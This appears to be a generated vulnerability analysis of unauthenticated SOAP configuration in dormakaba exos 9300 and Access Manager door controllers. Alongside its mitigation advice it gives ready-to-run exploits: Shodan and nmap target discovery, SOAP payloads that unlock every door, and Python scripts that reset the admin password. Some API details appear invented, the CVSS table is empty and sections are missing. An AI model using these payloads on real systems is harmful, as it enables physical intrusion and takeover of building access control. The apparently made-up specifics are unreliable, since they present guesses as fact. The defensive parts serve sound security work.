Comprehensive Technical Analysis of EUVD-2025-206361 (CVE-2025-59097)

Vulnerability in dormakaba exos 9300 & Access Manager Configuration Interface

1. Vulnerability Assessment & Severity Evaluation

Core Vulnerability

The dormakaba exos 9300 application, used for configuring Access Managers (92xx series), transmits sensitive configuration data via SOAP (Simple Object Access Protocol) without default authentication or authorization. While IPsec (for 92xx-K5) and mTLS (for 92xx-K7) can be manually enabled, these security controls are disabled by default, leaving systems exposed to unauthenticated remote attacks.

CVSS v4.0 Severity Breakdown

Metric	Value	Explanation

2. Potential Attack Vectors & Exploitation Methods

Primary Attack Vectors

1. Unauthenticated SOAP Request Injection

   • Attackers can craft malicious SOAP requests to modify configurations without authentication.
   • Example Exploit Flow:
     • Step 1: Identify exposed exos 9300 or Access Manager instances via Shodan, Censys, or masscan.
     • Step 2: Intercept or replay SOAP requests (e.g., via Burp Suite, Wireshark, or custom scripts).
     • Step 3: Modify configuration payloads to:
       • Disable alarms (e.g., tamper detection, forced entry alerts).
       • Unlock all doors permanently (e.g., by setting DoorLockState=0).
       • Change admin credentials (e.g., via SetAdminPassword SOAP action).
       • Reconfigure I/O mappings (e.g., disable door sensors).

2. Man-in-the-Middle (MitM) Attacks

   • If TLS is not enforced, attackers can intercept and modify SOAP traffic in transit.
   • Tools: mitmproxy, Bettercap, or custom Python scripts using scapy.

3. Network Pivoting & Lateral Movement

   • If network segmentation is weak, attackers can:
     • Move laterally from compromised IT systems to OT (Operational Technology) networks.
     • Exploit misconfigured VLANs or default credentials on adjacent devices.

4. Internet-Exposed Instances

   • Shodan queries (e.g., title:"exos 9300", port:80,443,8080) reveal publicly accessible instances.
   • Example Search:

     shodan search "dormakaba exos" --fields ip_str,port,org
     

Exploitation Tools & Techniques

• SOAP API Fuzzing:
  • SoapUI, Postman, or custom Python scripts to test for unauthenticated endpoints.
  • Example Payload (Door Unlock):

    <soapenv:Envelope xmlns:soapenv="http://schemas.xmlsoap.org/soap/envelope/" xmlns:exos="http://dormakaba.com/exos">
       <soapenv:Header/>
       <soapenv:Body>
          <exos:SetDoorLockState>
             <DoorID>1</DoorID>
             <LockState>0</LockState> <!-- 0 = Unlocked -->
          </exos:SetDoorLockState>
       </soapenv:Body>
    </soapenv:Envelope>
    

• Automated Exploitation:
  • Metasploit module (if developed) or custom exploit scripts in Python (requests, zeep).
  • Example Python Exploit:

    import requests
    
    target = "http://<TARGET_IP>:8080/exos/soap"
    headers = {"Content-Type": "text/xml"}
    payload = """<soapenv:Envelope xmlns:soapenv="http://schemas.xmlsoap.org/soap/envelope/" xmlns:exos="http://dormakaba.com/exos">
       <soapenv:Header/>
       <soapenv:Body>
          <exos:SetAdminPassword>
             <NewPassword>hacked123</NewPassword>
          </exos:SetAdminPassword>
       </soapenv:Body>
    </soapenv:Envelope>"""
    
    response = requests.post(target, headers=headers, data=payload)
    print(response.text)

4. Recommended Mitigation Strategies

Immediate Actions (Short-Term)

1. Network Segmentation & Firewall Rules

   • Isolate Access Managers in a dedicated VLAN with strict firewall rules.
   • Block inbound SOAP traffic (TCP 80, 443, 8080) from untrusted networks.
   • Example Firewall Rule (iptables):

     iptables -A INPUT -p tcp --dport 8080 -s 192.168.1.0/24 -j ACCEPT
     iptables -A INPUT -p tcp --dport 8080 -j DROP
     

2. Enable Authentication & Encryption

   • For 92xx-K5: Configure IPsec (IKEv2 with AES-256).
   • For 92xx-K7: Enable mTLS (mutual TLS with client certificates).
   • Disable unauthenticated SOAP access via exos 9300 settings.

3. Disable Internet Exposure

   • Remove public-facing Access Managers from the internet.
   • Use VPN or Zero Trust Network Access (ZTNA) for remote management.

4. Monitor & Log SOAP Traffic

   • Deploy IDS/IPS (e.g., Snort, Suricata) to detect unauthorized SOAP requests.
   • Example Snort Rule:

     alert tcp any any -> $ACCESS_MANAGERS 8080 (msg:"Unauthenticated SOAP Request"; flow:to_server,established; content:"<soapenv:Envelope"; nocase; sid:1000001; rev:1;)
     

Long-Term Remediation (Strategic)

1. Vendor Patch & Firmware Updates

   • Upgrade 92xx-K7 to BAME 06.00+ (if available).
   • Request dormakaba to enforce authentication by default in future releases.

2. Zero Trust Architecture (ZTA) Implementation

   • Enforce least-privilege access for exos 9300 and Access Managers.
   • Implement continuous authentication (e.g., OAuth 2.0, SAML).

3. Regular Security Audits & Penetration Testing

   • Conduct SOAP API security assessments (e.g., OWASP ZAP, Burp Suite).
   • Perform red team exercises to test physical access control resilience.

4. Incident Response Planning

   • Develop playbooks for unauthorized access attempts.
   • Isolate compromised Access Managers to prevent lateral movement.

6. Technical Details for Security Professionals

SOAP API Analysis

• Endpoint: http://<TARGET_IP>:8080/exos/soap
• WSDL Discovery:
  • Example Request:

    curl -X GET http://<TARGET_IP>:8080/exos/soap?wsdl
    

  • Key Operations:

    SOAP Action	Description	Security Risk
    SetDoorLockState	Unlocks/locks doors	Physical access control bypass
    SetAdminPassword	Changes admin credentials	Privilege escalation
    ConfigureAlarm	Disables/enables alarms	Tampering detection evasion
    GetSystemConfig	Retrieves full configuration	Information disclosure

Exploitation Proof of Concept (PoC)

1. Identify Target:

   nmap -p 80,443,8080 --script http-title <TARGET_IP>
   

2. Intercept SOAP Traffic (Burp Suite):
   • Configure Burp Proxy to intercept HTTP POST requests to /exos/soap.
3. Modify & Replay Requests:
   • Example (Unlock All Doors):

     <soapenv:Envelope xmlns:soapenv="http://schemas.xmlsoap.org/soap/envelope/" xmlns:exos="http://dormakaba.com/exos">
        <soapenv:Header/>
        <soapenv:Body>
           <exos:SetDoorLockState>
              <DoorID>*</DoorID> <!-- Wildcard for all doors -->
              <LockState>0</LockState>
           </exos:SetDoorLockState>
        </soapenv:Body>
     </soapenv:Envelope>
     

4. Automate with Python:

   import requests
   from zeep import Client
   
   wsdl = "http://<TARGET_IP>:8080/exos/soap?wsdl"
   client = Client(wsdl)
   response = client.service.SetDoorLockState(DoorID="*", LockState=0)
   print(response)
   

Detection & Forensics

• Log Analysis:
  • Check for unusual SOAP requests in exos 9300 logs.
  • Example Log Entry (Malicious):

    [2026-01-26 12:34:56] INFO: SOAP Request from 192.168.1.100 - Action: SetDoorLockState, DoorID: *, LockState: 0
    

• Network Forensics:
  • PCAP Analysis (Wireshark):
    • Filter: tcp.port == 8080 && http.request.method == "POST"
    • Look for unauthenticated SOAP envelopes.

Hardening Checklist

Control	Implementation	Verification
Network Segmentation	Isolate Access Managers in a dedicated VLAN.	nmap -sn <VLAN_SUBNET>
Firewall Rules	Block inbound SOAP traffic from untrusted networks.	iptables -L -n
IPsec/mTLS	Enable for 92xx-K5/K7.	Check IKEv2/mTLS handshake logs.
